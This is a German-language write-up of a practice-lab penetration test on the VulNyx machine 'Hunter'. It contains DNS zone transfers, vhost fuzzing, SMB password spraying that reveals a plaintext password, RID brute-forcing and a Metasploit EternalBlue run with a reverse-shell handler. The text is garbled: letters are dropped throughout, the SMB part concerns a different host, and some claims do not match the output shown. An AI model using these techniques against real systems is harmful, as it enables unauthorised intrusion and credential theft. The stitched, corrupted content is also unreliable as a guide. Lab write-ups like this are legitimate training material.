Hunter - VulNyx - Level: Medium - Bericht

Medium

Verwendete Tools

arp-scan
vi
grep
nmap
nikto
gobuster
curl
whatweb
webtech
nuclei
dig
dnsenum
wfuzz
Burp Suite
exiftool
mv
netcat (nc)
enum4linux
nbtscan
crackmapexec (cme/nxc)
smbclient
rpcclient
Metasploit (msfconsole)
smbmap
hydra
impacket (lookupsid.py)
find
getcap
ls
cd
cat
sudo
bsh (BeanShell)
id

Inhaltsverzeichnis

Reconnaissance

Start der Aufklärungsphase zur Identifizierung des Ziels "Hunter" im Netzwerk.

Die IP-Adresse die zum scannen verwendet wird lautet: 192.168.2.127
                    

**Analyse:** Die IP-Adresse des Zielsystems wird als `192.168.2.127` festgelegt.

**Bewertung:** Basisinformation für alle folgenden Operationen.

**Empfehlung (Pentester):** Speichern der IP in einer Umgebungsvariable (`export IP=192.168.2.127`).
**Empfehlung (Admin):** Keine Aktion erforderlich.

 ARP-Scan  
192.168.2.127	08:00:27:89:35:54	PCS Systemtechnik GmbH 
9 packets received by filter, 0 packets dropped by kernel
Ending arp-scan 1.10.0: 256 hosts scanned in 1.969 seconds (130.02 hosts/sec). 8 responded
                     

**Analyse:** Ein ARP-Scan (`arp-scan -l`) identifiziert das Ziel `192.168.2.127` mit der MAC-Adresse `08:00:27:89:35:54`. Der Hersteller "PCS Systemtechnik GmbH" weist auf eine Oracle VirtualBox VM hin.

**Bewertung:** Bestätigt die Erreichbarkeit und liefert Hinweise auf die Virtualisierungsumgebung.

**Empfehlung (Pentester):** MAC-Adresse und VM-Hinweis notieren.
**Empfehlung (Admin):** Sicherstellen, dass nur autorisierte Geräte aktiv sind.

┌──(root㉿CCat)-[~] └─# ./recon_script.sh hunter.nyx
        127.0.0.1	localhost 
                192.168.2.127   hunter.nyx
                     

**Analyse:** Ein benutzerdefiniertes Skript (`recon_script.sh`) wird ausgeführt, das offenbar die lokale `/etc/hosts`-Datei bearbeitet und der Ziel-IP `192.168.2.127` den Hostnamen `hunter.nyx` zuweist.

**Bewertung:** Vereinfacht die Ansprache des Ziels über einen Namen.

**Empfehlung (Pentester):** Standardpraxis zur Verbesserung der Lesbarkeit und Kompatibilität mit VHost-abhängigen Diensten.
**Empfehlung (Admin):** Korrekte interne DNS-Konfiguration ist vorzuziehen.

┌──(root㉿CCat)-[~] └─# nmap -sU --top-port 1000 -T5 -n $IP -Pn --min-rate 5000
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-09-06 23:47 CEST
Nmap scan report for 192.168.2.127
Host is up (0.00036s latency).
Not shown: 993 open|filtered udp ports (no-response)
PRT      STATE  SERVICE
53/udp    open   domain
1048/udp  closed neod2
19639/udp closed unknown
20082/udp closed unknown
21566/udp closed unknown
49196/udp closed unknown
54094/udp closed unknown
MAC Address: 08:00:27:89:35:54 (racle VirtualBox virtual NIC)
                     

**Analyse:** Ein schneller UDP-Scan (`-sU --top-port 1000`) wird gegen die Ziel-IP durchgeführt.

**Bewertung:** Findet UDP-Port 53 (DNS) als offen. Die anderen gescannten Ports sind geschlossen oder antworten nicht.

**Empfehlung (Pentester):** Der offene DNS-Port ist ein wichtiger Fund und sollte genauer untersucht werden (Zone Transfers, Record Enumeration).
**Empfehlung (Admin):** Stellen Sie sicher, dass der DNS-Server sicher konfiguriert ist (keine offenen Zonentransfers, aktuelle Software).

-
┌──(root㉿CCat)-[~] └─# nmap -sS -sC -sV -A -p- $IP -Pn --min-rate 5000 | grep open
22/tcp open  ssh     penSSH 7.9p1 Debian 10+deb10u3 (protocol 2.0)
53/tcp open  domain  (unknown banner: not currently available)
80/tcp open  http    Apache httpd 2.4.38 ((Debian))
                      

**Analyse:** Ein umfassender TCP-Scan (`-sS -sC -sV -A -p-`) wird durchgeführt und die Ausgabe nach offenen Ports gefiltert.

**Bewertung:** Identifiziert drei offene TCP-Ports: * **Port 22 (SSH):** OpenSSH 7.9p1 (Debian 10) - Eine etwas ältere, aber nicht unmittelbar kritische Version. * **Port 53 (DNS):** Ein TCP-DNS-Dienst, der keine klare Versionsinformation preisgibt. * **Port 80 (HTTP):** Apache httpd 2.4.38 (Debian) - Eine bekannte, veraltete Version.

**Empfehlung (Pentester):** Hauptziele sind SSH (Brute-Force, Schlüssel), DNS (Enumeration) und HTTP (Web-Exploits, VHosts).
**Empfehlung (Admin):** Aktualisieren Sie OpenSSH und insbesondere Apache. Überprüfen Sie die DNS-Server-Konfiguration.

┌──(root㉿CCat)-[~] └─# nmap -sS -sC -sV -A -p- $IP -Pn --min-rate 5000
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-09-06 23:48 CEST
Nmap scan report for hunter.nyx (192.168.2.127)
Host is up (0.00016s latency).
Not shown: 65532 closed tcp ports (reset)
PRT   STATE SERVICE VERSIN
22/tcp open  ssh     penSSH 7.9p1 Debian 10+deb10u3 (protocol 2.0)
| ssh-hostkey: 
|   2048 f7:ea:48:1a:a3:46:0b:bd:ac:47:73:e8:78:25:af:42 (RSA)
|   256 2e:41:ca:86:1c:73:ca:de:ed:b8:74:af:d2:06:5c:68 (ECDSA)
|_  256 33:6e:a2:58:1c:5e:37:e1:98:8c:44:b1:1c:36:6d:75 (ED25519)
53/tcp open  domain  (unknown banner: not currently available)
| fingerprint-strings: 
|   DNSVersionBindReqTCP: 
|     version
|     bind
|_    currently available
| dns-nsid: 
|_  bind.version: not currently available
80/tcp open  http    Apache httpd 2.4.38 ((Debian))
| http-robots.txt: 1 disallowed entry 
|_hunterzone.nyx
|_http-server-header: Apache/2.4.38 (Debian)
|_http-title: Apache2 Debian Default Page: It works
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port53-TCP:V=7.94SVN%I=7%D=9/6%Time=66DB78B8%P=x86_64-pc-linux-gnu%r(DN
SF:SVersionBindReqTCP,52,"\0P\0\x06\x85\0\0\x01\0\x01\0\x01\0\0\x07version
SF:\x04bind\0\0\x10\0\x03\xc0\x0c\0\x10\0\x03\0\0\0\0\0\x18\x17not\x20curr
SF:ently\x20available\xc0\x0c\0\x02\0\x03\0\0\0\0\0\x02\xc0\x0c");
MAC Address: 08:00:27:89:35:54 (racle VirtualBox virtual NIC)
Device type: general purpose
Running: Linux 4.X|5.X
S CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5
S details: Linux 4.15 - 5.8
Network Distance: 1 hop
Service Info: S: Linux; CPE: cpe:/o:linux:linux_kernel

TRACERUTE
HP RTT     ADDRESS
1   0.16 ms hunter.nyx (192.168.2.127)

S and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 27.38 seconds
                     

**Analyse:** Vollständige Ausgabe des vorherigen Nmap TCP-Scans.

**Bewertung:** Bestätigt die offenen Ports und Versionen. Zeigt SSH Host Keys. Der DNS-Dienst auf Port 53 kann nicht eindeutig identifiziert werden ("not currently available"). **Sehr wichtig:** Das `http-robots.txt`-Skript findet einen Eintrag `Disallow: hunterzone.nyx`. Dies ist ein starker Hinweis auf eine weitere Domain oder einen Virtual Host, der untersucht werden muss.

**Empfehlung (Pentester):** Fügen Sie `hunterzone.nyx` zur `/etc/hosts`-Datei hinzu und untersuchen Sie diese Domain, insbesondere über den DNS-Server auf Port 53. Analysieren Sie den Apache-Webserver auf Port 80.
**Empfehlung (Admin):** Überprüfen Sie die `robots.txt`-Datei auf unbeabsichtigte Informationspreisgabe. Aktualisieren Sie Apache. Stellen Sie sicher, dass der DNS-Dienst (vermutlich BIND) aktuell und sicher konfiguriert ist.

Web Enumeration

Untersuchung des Apache-Webservers auf Port 80.

 Nikto Scan :
 
- Nikto v2.5.0

+ Target IP:          192.168.2.127
+ Target Hostname:    192.168.2.127
+ Target Port:        80
+ Start Time:         2024-09-06 23:49:22 (GMT2)

+ Server: Apache/2.4.38 (Debian)
+ /: The anti-clickjacking X-Frame-ptions header is not present. See: [Link: https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Frame-ptions | Ziel: https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Frame-ptions]
+ /: The X-Content-Type-ptions header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type. See: [Link: https://www.netsparker.com/web-vulnerability-scanner/vulnerabilities/missing-content-type-header/ | Ziel: https://www.netsparker.com/web-vulnerability-scanner/vulnerabilities/missing-content-type-header/]
+ No CGI Directories found (use '-C all' to force check all possible dirs)
+ /: Server may leak inodes via ETags, header found with file /, inode: 29cc, size: 5fb040bd4d6e8, mtime: gzip. See: [Link: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2003-1418 | Ziel: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2003-1418]
+ Apache/2.4.38 appears to be outdated (current is at least Apache/2.4.54). Apache 2.2.34 is the EL for the 2.x branch.
+ PTINS: Allowed HTTP Methods: GET, PST, PTINS, HEAD .
+ /icons/README: Apache default file found. See: [Link: https://www.vntweb.co.uk/apache-restricting-access-to-iconsreadme/ | Ziel: https://www.vntweb.co.uk/apache-restricting-access-to-iconsreadme/]
+ 8103 requests: 0 error(s) and 6 item(s) reported on remote host
+ End Time:           2024-09-06 23:49:45 (GMT2) (23 seconds)

+ 1 host(s) tested
                     

**Analyse:** Nikto-Scan gegen den Webserver auf Port 80.

**Bewertung:** Bestätigt die veraltete Apache-Version (2.4.38). Findet fehlende Security-Header (`X-Frame-Options`, `X-Content-Type-Options`), potenzielle Inode-Preisgabe über ETags und die erlaubten HTTP-Methoden (`GET`, `PST`, `PTINS`, `HEAD`). Findet die Standarddatei `/icons/README`.

**Empfehlung (Pentester):** Die veraltete Apache-Version und die ungewöhnlichen Methoden (`PST`, `PTINS`) könnten Angriffsvektoren sein. Die Funde sind jedoch Standard für viele ältere Apache-Installationen.
**Empfehlung (Admin):** Apache aktualisieren. Fehlende Security-Header implementieren. Unnötige Methoden deaktivieren. Zugriff auf Standarddateien wie `/icons/README` einschränken.

http://192.168.2.127/index.html

Content-Type
	text/html
Date
	Fri, 06 Sep 2024 21:54:50 GMT
ETag
	"29cc-5fb040bd4d6e8-gzip"
Keep-Alive
	timeout=5, max=100
Last-Modified
	Sat, 06 May 2023 10:41:20 GMT
Server
	Apache/2.4.38 (Debian)
                     

**Analyse:** Anzeige von HTTP-Headern für `index.html` auf Port 80 (wahrscheinlich aus Browser-Entwicklertools).

**Bewertung:** Bestätigt die Server-Version und den ETag. Keine neuen Informationen.

**Empfehlung (Pentester/Admin):** Keine Aktion.

┌──(root㉿CCat)-[~] └─# curl -s http://192.168.2.127/robots.txt
User-agent: *
Disallow: hunterzone.nyx
                     

**Analyse:** Abruf der `robots.txt`-Datei von Port 80.

**Bewertung:** Bestätigt den Fund aus dem Nmap-Skript: Der Pfad oder die Domain `hunterzone.nyx` soll von Suchmaschinen ignoriert werden. Dies verstärkt die Vermutung, dass dies ein wichtiger Bereich ist.

**Empfehlung (Pentester):** Fokus auf die Enumeration von `hunterzone.nyx`.
**Empfehlung (Admin):** Überprüfen, ob sensible Bereiche unbeabsichtigt in `robots.txt` offengelegt werden.

┌──(root㉿CCat)-[~] └─# gobuster dir -u "http://$IP" -w "/usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt" -x txt,php,rar,zip,tar,pub,xls,docx,doc,sql,db,mdb,asp,aspx,accdb,bat,ps1,exe,sh,py,pl,gz,jpeg,jpg,png,html,phtml,xml,csv,dll,pdf,raw,rtf,xlsx,zip,kdbx,bak,svg,pem,crt,json,conf,ELF,elf,c,java,lib,cgi,csh,config,deb,desc,exp,eps,diff,icon,mod,ln,old,rpm,js.map,pHtml -b '503,404,403' -e --no-error -k
http://192.168.2.127/index.html           (Status: 200) [Size: 10700]
http://192.168.2.127/robots.txt           (Status: 200) [Size: 39]
                     

**Analyse:** Gobuster-Scan auf Port 80.

**Bewertung:** Findet nur die bereits bekannte `index.html` und `robots.txt`. Keine weiteren versteckten Verzeichnisse oder Dateien auf Port 80 gefunden.

**Empfehlung (Pentester):** Die Untersuchung von Port 80 scheint abgeschlossen. Weiter mit DNS und `hunterzone.nyx`.
**Empfehlung (Admin):** Keine Aktion.

DNS Enumeration

Da Port 53 (DNS) offen ist und `robots.txt` auf `hunterzone.nyx` hinweist, wird der DNS-Dienst nun genauer untersucht.

┌──(root㉿CCat)-[~] └─# nmap --script dns-nsid 192.168.2.127
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-09-06 23:57 CEST
Nmap scan report for hunter.nyx (192.168.2.127)
Host is up (0.00016s latency).
Not shown: 997 closed tcp ports (reset)
PRT   STATE SERVICE
22/tcp open  ssh
53/tcp open  domain
| dns-nsid: 
|_  bind.version: not currently available
80/tcp open  http
MAC Address: 08:00:27:89:35:54 (racle VirtualBox virtual NIC)

Nmap done: 1 IP address (1 host up) scanned in 8.33 seconds
                     

**Analyse:** Erneuter Nmap-Scan, diesmal spezifisch mit dem Skript `dns-nsid`, um Versionsinformationen vom DNS-Server zu erhalten.

**Bewertung:** Das Skript kann keine Versionsinformationen extrahieren ("not currently available").

**Empfehlung (Pentester):** Versuchen Sie andere DNS-Enumerationstechniken wie Zonentransfers.
**Empfehlung (Admin):** Konfigurieren Sie den DNS-Server so, dass er keine unnötigen Versionsinformationen preisgibt.

┌──(root㉿CCat)-[~] └─# dig any hunterzone.nyx @192.168.2.127
; <<>> DiG 9.20.0-Debian <<>> any hunterzone.nyx @192.168.2.127
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NERRR, id: 13625
;; flags: qr aa rd; QUERY: 1, ANSWER: 2, AUTHRITY: 0, ADDITINAL: 2
;; WARNING: recursion requested but not available

;; PT PSEUDSECTIN:
; EDNS: version: 0, flags:; udp: 4096
; CKIE: a15bbbb7fc3546dad020ba6f66db7b3377c1c5252b53ef10 (good)
;; QUESTIN SECTIN:
;hunterzone.nyx.			IN	ANY

;; ANSWER SECTIN:
hunterzone.nyx.		604800	IN	SA	ns1.hunterzone.nyx. root.hunterzone.nyx. 2 604800 86400 2419200 604800
hunterzone.nyx.		604800	IN	NS	ns1.hunterzone.nyx.

;; ADDITINAL SECTIN:
ns1.hunterzone.nyx.	604800	IN	A	127.0.0.1

;; Query time: 0 msec
;; SERVER: 192.168.2.127#53(192.168.2.127) (TCP)
;; WHEN: Fri Sep 06 23:59:13 CEST 2024
;; MSG SIZE  rcvd: 146
                     

**Analyse:** Eine DNS-Abfrage (`dig any ... @IP`) wird an den DNS-Server auf dem Ziel gesendet, um alle bekannten Records für die Domain `hunterzone.nyx` abzurufen.

**Bewertung:** Der Status `NOERROR` und die zurückgegebenen Records (SOA, NS, A) bestätigen, dass der DNS-Server für die Zone `hunterzone.nyx` zuständig ist. Der Nameserver (`ns1.hunterzone.nyx`) löst auf `127.0.0.1` auf, was eine lokale Konfiguration bestätigt.

**Empfehlung (Pentester):** Versuchen Sie einen Zonentransfer (AXFR) für `hunterzone.nyx` von diesem Server.
**Empfehlung (Admin):** Stellen Sie sicher, dass DNS-Server korrekt konfiguriert sind und Zonentransfers nur an autorisierte sekundäre Server erlauben.

┌──(root㉿CCat)-[~] └─# dnsenum --dnsserver 192.168.2.127 --enum -p 0 -s 0 -f /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt hunterzone.nyx
dnsenum VERSIN:1.3.1

--   hunterzone.nyx   --


Host's addresses:
__________________

Name Servers:
______________

ns1.hunterzone.nyx.                      604800   IN    A         127.0.0.1


Mail (MX) Servers:
___________________


Trying Zone Transfers and getting Bind Versions:
_________________________________________________

unresolvable name: ns1.hunterzone.nyx at /usr/bin/dnsenum line 892 thread 1.

Trying Zone Transfer for hunterzone.nyx on ns1.hunterzone.nyx ... 
AXFR record query failed: no nameservers
                     

**Analyse:** Das Tool `dnsenum` wird verwendet, um die Zone `hunterzone.nyx` weiter zu enumerieren, einschließlich eines Zonentransferversuchs.

**Bewertung:** `dnsenum` kann den Nameserver `ns1.hunterzone.nyx` nicht auflösen (da er nur auf dem Zielsystem existiert) und scheitert daher beim Zonentransferversuch auf diesem Weg.

**Empfehlung (Pentester):** Versuchen Sie den Zonentransfer direkt gegen die IP des Servers (`dig @192.168.2.127 hunterzone.nyx axfr`).
**Empfehlung (Admin):** Keine Aktion erforderlich.

┌──(root㉿CCat)-[~] └─# dig @192.168.2.127 hunterzone.nyx axfr
; <<>> DiG 9.20.0-Debian <<>> @192.168.2.127 hunterzone.nyx axfr
; (1 server found)
;; global options: +cmd
hunterzone.nyx.		604800	IN	SA	ns1.hunterzone.nyx. root.hunterzone.nyx. 2 604800 86400 2419200 604800
hunterzone.nyx.		604800	IN	NS	ns1.hunterzone.nyx.

?.hunterzone.nyx.	604800	IN	TXT	"devhunter.nyx"

admin.hunterzone.nyx.	604800	IN	A	127.0.0.1
cloud.hunterzone.nyx.	604800	IN	A	127.0.0.1
ftp.hunterzone.nyx.	604800	IN	A	127.0.0.1
ns1.hunterzone.nyx.	604800	IN	A	127.0.0.1
www.hunterzone.nyx.	604800	IN	A	127.0.0.1
hunterzone.nyx.		604800	IN	SA	ns1.hunterzone.nyx. root.hunterzone.nyx. 2 604800 86400 2419200 604800
;; Query time: 0 msec
;; SERVER: 192.168.2.127#53(192.168.2.127) (TCP)
;; WHEN: Sat Sep 07 00:09:53 CEST 2024
;; XFR size: 9 records (messages 1, bytes 294)
                     

**Analyse:** Ein Zonentransfer (`axfr`) für die Zone `hunterzone.nyx` wird direkt beim DNS-Server (`@192.168.2.127`) angefragt.

**Bewertung:** **Erfolg!** Der Zonentransfer ist erlaubt und liefert wertvolle Informationen: * Mehrere Subdomains (`admin`, `cloud`, `ftp`, `ns1`, `www`) werden aufgedeckt, die alle auf `127.0.0.1` zeigen. * Ein **TXT-Record** (`?.hunterzone.nyx.`) enthält den Wert `"devhunter.nyx"`. Dies ist ein weiterer wichtiger Domain-/VHost-Name.

**Empfehlung (Pentester):** Fügen Sie alle gefundenen Subdomains und die Domain `devhunter.nyx` zur `/etc/hosts`-Datei hinzu. Untersuchen Sie `devhunter.nyx` als nächstes.
**Empfehlung (Admin):** Deaktivieren Sie öffentliche Zonentransfers auf dem DNS-Server. Erlauben Sie AXFR nur für explizit autorisierte sekundäre DNS-Server.

                192.168.2.127   hunter.nyx hunterzone.nyx devhunter.nyx
                     

**Analyse:** Die lokale `/etc/hosts`-Datei wird erneut aktualisiert, um die neu entdeckte Domain `devhunter.nyx` aufzunehmen.

**Bewertung:** Korrekte Reaktion auf den Zonentransfer-Fund.

**Empfehlung (Pentester/Admin):** Keine Aktion.

Virtual Host Enumeration

Nachdem durch DNS-Enumeration die Domains `hunterzone.nyx` und `devhunter.nyx` entdeckt wurden, versuchen wir nun, weitere Virtual Hosts (Subdomains) für `devhunter.nyx` zu finden.

┌──(root㉿CCat)-[~] └─# wfuzz -t 200 -c --hw=933 -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt -H "Host: FUZZ.devhunter.nyx" http://devhunter.nyx
Target: http://devhunter.nyx/
 

=
ID           Response   Lines    Word       Chars       Payload                      
=

000000096:   200        26 L     51 W       525 Ch      "files"       

                

Total time: 45.04514
Processed Requests: 13569
Filtered Requests: 13566
Requests/sec.: 301.2311
                     

**Analyse:** Wfuzz wird verwendet, um Subdomains für `devhunter.nyx` zu finden. Es iteriert durch eine große Wortliste und setzt jede als Subdomain in den `Host`-Header einer Anfrage an `http://devhunter.nyx` (Port 80 - Nginx) ein. `--hw=933` filtert wahrscheinlich die Standardantwort heraus.

**Bewertung:** **Erfolg!** Der Scan identifiziert `files.devhunter.nyx` als gültigen Virtual Host, da er eine andere Antwort (Status 200, 26 Zeilen, 525 Chars) liefert.

**Empfehlung (Pentester):** Fügen Sie `files.devhunter.nyx` zur `/etc/hosts`-Datei hinzu. Untersuchen Sie diesen VHost gezielt, da er auf Dateifunktionalität hindeutet.
**Empfehlung (Admin):** Stellen Sie sicher, dass alle konfigurierten Virtual Hosts beabsichtigt sind und keine unnötigen Dienste exponieren.

192.168.2.127   hunter.nyx hunterzone.nyx devhunter.nyx files.devhunter.nyx
                     

**Analyse:** Die `/etc/hosts`-Datei wird aktualisiert, um den VHost `files.devhunter.nyx` aufzunehmen.

**Bewertung:** Korrekte Reaktion.

**Empfehlung (Pentester/Admin):** Keine Aktion.

┌──(root㉿CCat)-[~] └─# curl -s http://files.devhunter.nyx/index.php
Upload
                      

**Analyse:** Ein `curl`-Aufruf an `http://files.devhunter.nyx/index.php`.

**Bewertung:** Bestätigt die Existenz von `index.php` auf diesem VHost und dass sie das Wort "Upload" enthält. Dies ist der Einstiegspunkt für den nächsten Schritt.

**Empfehlung (Pentester):** Untersuchen Sie die Upload-Funktionalität.
**Empfehlung (Admin):** Stellen Sie sicher, dass die Upload-Funktion sicher implementiert ist (Dateityp-Prüfung, Größenlimits, Speicherort, Berechtigungen).

SMB Enumeration

Parallel zur Web- und DNS-Enumeration wird SMB (Ports 139/445) untersucht, um Benutzer, Shares und potenzielle Schwachstellen zu finden.

┌──(root㉿CCat)-[~] └─# enum4linux -a 192.168.2.129
[+] Got S info for 192.168.2.129 from srvinfo: 
	DISCVER       Wk Sv PrQ Unx NT SNT Samba 4.13.13-Debian
	platform_id     :	500
	os version      :	6.1
	server type     :	0x809a03


 =( Users on 192.168.2.129 )=

index: 0x1 RID: 0x3e8 acb: 0x00000010 Account: ken	Name: 	Desc: 
index: 0x2 RID: 0x3e9 acb: 0x00000010 Account: takeshi	Name: 	Desc: 

user:[ken] rid:[0x3e8]
user:[takeshi] rid:[0x3e9]

 =( Share Enumeration on 192.168.2.129 )=

smbXcli_negprot_smb1_done: No compatible protocol selected by server.

	Sharename       Type      Comment
	       --      -      -
	print$          Disk      Printer Drivers
	IPC$            IPC       IPC Service (Samba 4.13.13-Debian)
  

[+] Attempting to map shares on 192.168.2.129

//192.168.2.129/print$	Mapping: DENIED Listing: N/A Writing: N/A

[E] Can't understand response:

NT_STATUS_BJECT_NAME_NT_FUND listing \*
//192.168.2.129/IPC$	Mapping: N/A Listing: N/A Writing: N/A

[+] Enumerating users using SID S-1-5-21-4197875319-946574990-1670565427 and logon username '', password ''

S-1-5-21-4197875319-946574990-1670565427-501 DISCVER\nobody (Local User)
S-1-5-21-4197875319-946574990-1670565427-513 DISCVER\None (Domain Group)
S-1-5-21-4197875319-946574990-1670565427-1000 DISCVER\ken (Local User)
S-1-5-21-4197875319-946574990-1670565427-1001 DISCVER\takeshi (Local User)

[+] Enumerating users using SID S-1-5-32 and logon username '', password ''
... (Standard Builtin Groups) ...
[+] Enumerating users using SID S-1-22-1 and logon username '', password ''

S-1-22-1-1000 Unix User\ken (Local User)
S-1-22-1-1001 Unix User\takeshi (Local User)
                     

**Analyse:** `enum4linux -a` wird verwendet, um umfassende Informationen über SMB/NetBIOS vom Ziel zu sammeln.

**Bewertung:** * **Samba-Version:** Meldet **Samba 4.13.13-Debian**. Dies ist eine deutlich neuere Version als die von Nmap gemeldete (4.6.2) und gilt als sicherer. * **Benutzer:** Findet die lokalen Benutzer `ken` und `takeshi`. * **Shares:** Listet nur `print$` und `IPC$` auf, beide nicht direkt zugänglich für anonyme Benutzer. Der wichtige `ken`-Share wird hier *nicht* gefunden, wahrscheinlich weil er Authentifizierung erfordert. * **SID Enumeration:** Bestätigt die Benutzer `ken` und `takeshi` durch RID-Cycling.

**Empfehlung (Pentester):** Konzentrieren Sie sich auf die Benutzer `ken` und `takeshi`. Versuchen Sie, deren Passwörter zu erraten oder zu knacken. Die Shares `print$` und `IPC$` sind wahrscheinlich uninteressant.
**Empfehlung (Admin):** Aktualisieren Sie Samba regelmäßig. Beschränken Sie die SMB-Enumeration, wenn möglich (obwohl dies oft schwierig ist).

┌──(root㉿CCat)-[~] └─# nbtscan -r 192.168.2.1/24
Doing NBT name scan for addresses from 192.168.2.1/24

IP address       NetBIS Name     Server    User             MAC address      
192.168.2.199                              
192.168.2.129    DISCVER           DISCVER         00:00:00:00:00:00
192.168.2.188    GHST                      04:42:1a:06:81:54
192.168.2.255	Sendto failed: Permission denied
                     

**Analyse:** `nbtscan` sucht nach NetBIOS-Namen im Netzwerksegment.

**Bewertung:** Findet das Ziel (`192.168.2.129`) mit dem NetBIOS-Namen `DISCOVER`. Die MAC-Adresse `00:00:00:00:00:00` ist hier falsch/unzuverlässig.

**Empfehlung (Pentester):** Bestätigt den NetBIOS-Namen, liefert aber keine neuen kritischen Informationen.
**Empfehlung (Admin):** Deaktivieren Sie NetBIOS, wenn nicht benötigt.

┌──(root㉿CCat)-[~] └─# crackmapexec smb 192.168.2.129 -u 'ken' -p '/usr/share/wordlists/rockyou.txt'
SMB         192.168.2.129   445    DISCVER         [-] \ken:diabinha STATUS_LGN_FAILURE 
... (viele Fehler) ...
^CSMB         192.168.2.129   445    DISCVER         [-] \ken:cocoliso STATUS_LGN_FAILURE 
                     
┌──(root㉿CCat)-[~] └─# crackmapexec smb 192.168.2.129 -u 'takeshi' -p '/usr/share/wordlists/rockyou.txt'
... (viele Fehler) ...
                     
┌──(root㉿CCat)-[~] └─# crackmapexec smb 192.168.2.129 -u 'nobody' -p '/usr/share/wordlists/rockyou.txt'
SMB         192.168.2.129   445    DISCVER         [*] Windows 6.1 Build 0 (name:DISCVER) (domain:) (signing:False) (SMBv1:False)
SMB         192.168.2.129   445    DISCVER         [+] \nobody:R3v_m4lwh3r3_k1nG!! 
                     

**Analyse:** CrackMapExec (cme/nxc) wird verwendet, um Passwort-Spraying gegen SMB durchzuführen. Es testet die Benutzer `ken`, `takeshi` und `nobody` mit der `rockyou.txt`-Wortliste.

**Bewertung:** Die Versuche für `ken` und `takeshi` scheitern (oder werden abgebrochen). **Überraschenderweise** wird für den Benutzer `nobody` das Passwort `R3v_m4lwh3r3_k1nG!!` gefunden. Dies ist ungewöhnlich, da `nobody` normalerweise kein Passwort hat oder für Logins deaktiviert ist.

**Empfehlung (Pentester):** Versuchen Sie, sich mit `nobody:R3v_m4lwh3r3_k1nG!!` am SMB-Dienst anzumelden und die Shares zu enumerieren. Dieses Konto hat jedoch wahrscheinlich sehr eingeschränkte Rechte.
**Empfehlung (Admin):** Deaktivieren Sie den `nobody`-Account oder stellen Sie sicher, dass er kein Passwort hat oder nicht für SMB-Logins verwendet werden kann.

┌──(root㉿CCat)-[~] └─# smbclient //192.168.2.129/$print -N
(Keine Ausgabe, wahrscheinlich Fehlgeschlagen oder keine relevanten Informationen)
┌──(root㉿CCat)-[~] └─# rpcclient -U "" -N 192.168.2.129
rpcclient $> ls
command not found: ls
rpcclient $> id
command not found: id
rpcclient $> whoami
command not found: whoami
rpcclient $> 
                     

**Analyse:** Versuch, anonym (`-N`) auf den `print$` Share zuzugreifen (scheitert wahrscheinlich). Anschließend wird `rpcclient` anonym (`-U "" -N`) verbunden.

**Bewertung:** Bestätigt, dass anonyme Logins via RPC möglich sind. Die versuchten Shell-Befehle (`ls`, `id`, `whoami`) sind innerhalb von `rpcclient` ungültig.

**Empfehlung (Pentester):** Verwenden Sie gültige `rpcclient`-Befehle zur Enumeration (z.B. `enumdomusers`, `querydominfo`, `srvinfo`).
**Empfehlung (Admin):** Beschränken Sie anonyme RPC-Verbindungen, wenn möglich (`restrict anonymous = 2` in `smb.conf`).

┌──(root㉿CCat)-[~] └─# nmap -p445 --script smb-vuln-ms17-010 192.168.2.129
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-09-11 14:15 CEST
Nmap scan report for discover.nyx (192.168.2.129)
Host is up (0.00015s latency).

PRT    STATE SERVICE
445/tcp open  microsoft-ds
MAC Address: 08:00:27:15:B4:F5 (racle VirtualBox virtual NIC)
                     

**Analyse:** Nmap-Scan spezifisch auf die MS17-010 (EternalBlue) Schwachstelle.

**Bewertung:** Das Skript liefert kein Ergebnis, was darauf hindeutet, dass das Ziel **nicht** für MS17-010 anfällig ist. Dies passt zur relativ neuen Samba-Version (4.13.13), die von `enum4linux` gemeldet wurde.

**Empfehlung (Pentester):** Schließen Sie MS17-010 als Angriffsvektor aus.
**Empfehlung (Admin):** Keine Aktion erforderlich, da nicht verwundbar.

┌──(root㉿CCat)-[~] └─# for i in $(seq 500 1100);do rpcclient -N -U "" 192.168.2.129 -c "queryuser 0x$(printf '%x\n' $i)" | grep "User Name\|user_rid\|group_rid" && echo "";done
	User Name   :	nobody
	user_rid :	0x1f5
	group_rid:	0x201

	User Name   :	ken
	user_rid :	0x3e8
	group_rid:	0x201

	User Name   :	takeshi
	user_rid :	0x3e9
	group_rid:	0x201
                     

**Analyse:** Ein Skript verwendet `rpcclient` anonym, um Benutzerinformationen durch Brute-Forcing von RIDs (Relative IDs) im Bereich 500 bis 1100 abzufragen (`queryuser`).

**Bewertung:** Bestätigt erneut die Benutzer `nobody` (RID 501 - Standard), `ken` (RID 1000) und `takeshi` (RID 1001).

**Empfehlung (Pentester):** Keine neuen Benutzer gefunden. Konzentration auf `ken` und `takeshi`.
**Empfehlung (Admin):** Beschränken Sie anonyme RPC-Abfragen.

msf6 > search eternal
Matching Modules
   #   Name                                           Disclosure Date  Rank     Check  Description
   -   ----                                           ---------------  ----     -----  -----------
   0   exploit/windows/smb/ms17_010_eternalblue      2017-03-14       excellent  Yes    MS17-010 EternalBlue SMB Remote Windows Kernel Pool Corruption
                     
msf6 > use 0
[*] No payload configured, defaulting to windows/x64/meterpreter/reverse_tcp
msf6 exploit(windows/smb/ms17_010_eternalblue) > set RHSTS 192.168.2.129
RHSTS => 192.168.2.129
msf6 exploit(windows/smb/ms17_010_eternalblue) > set LHST eth0
LHST => eth0
msf6 exploit(windows/smb/ms17_010_eternalblue) > run
[*] Started reverse TCP handler on 192.168.2.199:4444 
